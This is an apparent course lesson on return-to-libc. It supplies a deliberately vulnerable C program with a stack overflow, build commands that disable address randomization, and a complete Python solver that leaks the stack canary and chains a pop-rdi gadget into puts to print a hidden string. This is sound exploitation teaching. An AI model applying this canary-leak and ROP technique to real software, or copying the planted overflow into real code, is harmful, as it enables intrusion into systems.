Code Reuse and Return-to-libc
What he did instead
Section titled “What he did instead”Solar Designer published a way around his own non-executable stack patch. He didn’t make the stack executable again. Instead, his August 1997 post described using a function from libc, the C library the program already had in memory.
Effectively, even though we can’t write our own shellcode, programs have a LOT of useful functions already loaded into executable memory because of their imported libraries. Solar Designer chose system, a library function that asks the shell to run a command string, and supplied /bin/sh to start a shell.
This is return-to-libc, also called return-into-libc: redirecting execution into an existing library function. The important change was where the behavior came from. Instead of supplying instructions, the attacker reached an ordinary function through an unintended path, with data of their choosing as arguments.
Our example is less ambitious. The program keeps a roster in memory that it never normally prints, and libc already has a function that prints strings. We can examine what happens when those two meet while the stack remains non-executable. No shell required.
A roster the program doesn’t print
Section titled “A roster the program doesn’t print”Create a fresh working directory and move into it:
mkdir -p ~/underdunn-course/borrowed-code ~/underdunn-course/notescd ~/underdunn-course/borrowed-codeSave this complete program as incident.c:
#include <stddef.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>
/* Filled in at run time by unseal(). Nothing here holds it at rest. */char roster[64];
static const unsigned char sealed[] = { 0x75, 0x52, 0x5c, 0x53, 0x4f, 0x1b, 0x49, 0x54, 0x48, 0x4f, 0x5e, 0x49, 0x01, 0x1b, 0x4f, 0x53, 0x49, 0x5e, 0x5e, 0x1b, 0x5e, 0x55, 0x5c, 0x52, 0x55, 0x5e, 0x5e, 0x49, 0x48, 0x1b, 0x54, 0x55, 0x1b, 0x48, 0x52, 0x4f, 0x5e, 0x15,};
static void session(void){ char note[256] = {0};
puts("Note:"); read(0, note, 265); printf("Filed: %s\n", note);
puts("Revise?"); read(0, note, 512); printf("Filed: %s\n", note);}
static void unseal(void){ for (size_t i = 0; i < sizeof sealed; i++) roster[i] = (char)(sealed[i] ^ 0x3b);}
static void banner(unsigned form){ if (form == 0x01c35f4eu) puts("Incident desk."); else puts("Incident desk (unrecognised form).");}
int main(void){ setvbuf(stdout, NULL, _IONBF, 0); unseal(); banner(0x01c35f4eu); session(); puts("Desk closed."); return 0;}The desk now decodes a roster into memory at startup and checks a form number. unseal reverses a simple XOR with 0x3b; that only keeps the roster out of strings, and is not meant to protect it. No ordinary path through the source prints the decoded value.
setvbuf disables output buffering so the Python solver sees each prompt before sending its next input. That is interaction scaffolding rather than part of the vulnerability.
The peculiar form number is scaffolding too. Its bytes supply the short setup gadget used later on this page; the next lesson shows how the processor can read that sequence from inside the comparison.
Here is the build command used for the supplied records:
gcc -g -O0 -fno-omit-frame-pointer -no-pie incident.c -o incidentsudo sysctl -w kernel.randomize_va_space=0The recorded build does not request an executable stack. Keep the course VM’s address-randomization setting at 0; it remains out of the way until its own lesson.
The recorded session frame had this layout:
- The canary was 264 bytes into
note. - The return slot was at 280.
- The input covering that return slot was 288 bytes.
Those values belong to that build. Putting new functions later in a source file doesn’t guarantee that the compiled layout stays the same.
A destination is only part of a call
Section titled “A destination is only part of a call”Reaching the printing function answers one question: which code runs next? It doesn’t answer the other question the function needs answered: what should it print?
There are two pieces of state to keep separate:
- The destination identifies the function being reached.
- The argument state supplies the data that function expects under its calling convention.
In this example, the intended result is puts(roster). The recorded listing identifies both the roster and the program’s entry for calling puts:
nm ./incident | grep ' B roster$'objdump -d -Mintel ./incident | grep -m1 '<puts@plt>:'0000000000404060 B roster0000000000401080 <puts@plt>:roster is data in the program. puts@plt is the program’s entry for reaching the library function, not the address of the function’s implementation inside libc.
That distinction will matter when we get to address placement. For now, it explains how the example can reach a library function using an entry in the non-position-independent program.
What the function expects
Section titled “What the function expects”The calling convention supplies the other half of the explanation:
- In Solar Designer’s 32-bit x86 example, the function read its argument from the stack.
- Under the x86-64 calling convention used here, the first pointer argument arrives in
rdi.
Changing a return destination doesn’t, by itself, arrange that register. The program could reach the right function with the wrong argument, which is not much use if we wanted the roster.
The supplied example uses a short existing instruction sequence to prepare rdi before reaching puts. Such a sequence is called a gadget, and its job here is argument setup. puts still does the printing.
Return-oriented programming, or ROP, composes behavior from these smaller sequences. That isn’t a fence between two unrelated techniques: this x86-64 example already uses a gadget to reach a whole-function result. The next lesson takes that smaller unit of reuse further.
For the recorded build, the deliberately supplied setup gadget begins at 0x401408. Use that value here alongside the roster and puts@plt addresses printed above. The next lesson shows where those two instructions came from and how gadget-finding tools locate sequences like them.
Run the borrowed call
Section titled “Run the borrowed call”Save this complete solver as chain.py:
import osimport subprocessimport sysfrom struct import pack, unpack
if len(sys.argv) != 5: raise SystemExit("usage: python3 chain.py TARGET POP_RDI ROSTER PUTS")
target = sys.argv[1]pop_rdi, roster, puts = (int(value, 0) for value in sys.argv[2:])
def read_until(stream, marker): data = bytearray() while marker not in data: chunk = os.read(stream.fileno(), 4096) if not chunk: raise RuntimeError(f"process ended before {marker!r}") data.extend(chunk) return bytes(data)
p = subprocess.Popen([target], stdin=subprocess.PIPE, stdout=subprocess.PIPE)read_until(p.stdout, b"Note:\n")
# The 265th byte replaces the canary's zero, allowing printf to expose# the other seven bytes before the program asks for its revision.p.stdin.write(b"A" * 265)p.stdin.flush()leak = read_until(p.stdout, b"Revise?\n")body = leak.split(b"Filed: ", 1)[1]canary = unpack("<Q", b"\x00" + body[265:272])[0]
# Restore the canary, cross the saved frame pointer, and provide the# three stack values consumed by ret, pop rdi, and ret.payload = (b"B" * 264 + pack("<Q", canary) + b"C" * 8 + pack("<Q", pop_rdi) + pack("<Q", roster) + pack("<Q", puts))p.stdin.write(payload)p.stdin.close()
output = p.stdout.read()status = p.wait()tail = next( (line for line in output.splitlines() if b"Night roster:" in line), b"not printed",)
print(f"canary {canary:016x} chain {len(payload)} bytes")print("output tail:", tail.decode(errors="replace"))print("status:", status)The script runs the two input stages in one process. The first stage recovers this run’s canary; the second restores it and supplies the three stack values described above.
Run it with the supplied gadget address and the two addresses from your own symbol listings:
python3 chain.py ./incident 0x401408 0x404060 0x401080canary 002935d1c971a5f8 chain 304 bytesoutput tail: Night roster: three engineers on site.status: -11The roster printed, and then the process failed. Those are two separate observations.
The first tells us that the printing function received the roster. The second tells us that reaching the function wasn’t the same as arranging a normal return afterward. The supplied sequence has no deliberate continuation after puts.
A library function doesn’t stop needing a return destination just because we arrived there unusually.
Which protections still mattered?
Section titled “Which protections still mattered?”Several protections were still present in the supplied example, but they constrain different things:
- The canary check still mattered. The supplied construction preserved the canary value before the comparison, rather than removing the check.
- The stack did not need execution permission. It held data. The instructions came from existing executable code in the program and its library.
- The example did not need a stack address. Its explicit addresses belonged to the non-position-independent program, including the entry used to reach
puts.
The roster printed in three recorded runs with different canaries while the VM remained in the fixed-address state set above. This example uses addresses in the non-position-independent program; changing where executable images load is a separate constraint we will introduce later.
Check the conclusion against the evidence
Section titled “Check the conclusion against the evidence”Suppose somebody sees the roster and says: “The non-executable-stack protection must have been switched off.”
Does the output tell them that? Explain which evidence would answer the question about memory permissions.
Check your reasoning
The roster tells us what the program printed, not where its instructions came from. Code elsewhere can execute while the stack remains non-executable.
The live stack mapping answers the permission question. The printed message alone doesn’t.
Now separate the two outcomes in the transcript: the roster appears, then the process faults. Which part of the result concerns the function and its argument, and which concerns what happened afterward?
Knowledge check
Question 1 of 3
Practice complete
You've checked the key ideas. Revisit any explanation you need, then continue when it makes sense.
When the evidence differs
Section titled “When the evidence differs”- If output differs from the recorded roster, keep the actual output and where execution stopped. A different result gives us something to compare, not a cause by itself.
- A stack-smashing diagnostic means the check failed. It doesn’t identify the earlier cause of that mismatch.
- Keep the order of events. A fault before the roster appears differs from the recorded run, which prints it before failing.
- If addresses or frame offsets differ, compare the build conditions. Source order alone doesn’t determine the compiled layout.
To recover a known state, rebuild incident from the complete source, obtain the three addresses again, and rerun chain.py with those values. Start with the first mismatch: the build, the canary leak, the roster output, or the later fault.
Smaller pieces of existing code
Section titled “Smaller pieces of existing code”So far, we’ve treated the library as a collection of complete functions. That is a useful way to read a program, but it isn’t a boundary the processor enforces.
We’ve already met one small sequence with a job of its own, which raises the next question: how much can those pieces do when we stop treating a whole function as the operation we need?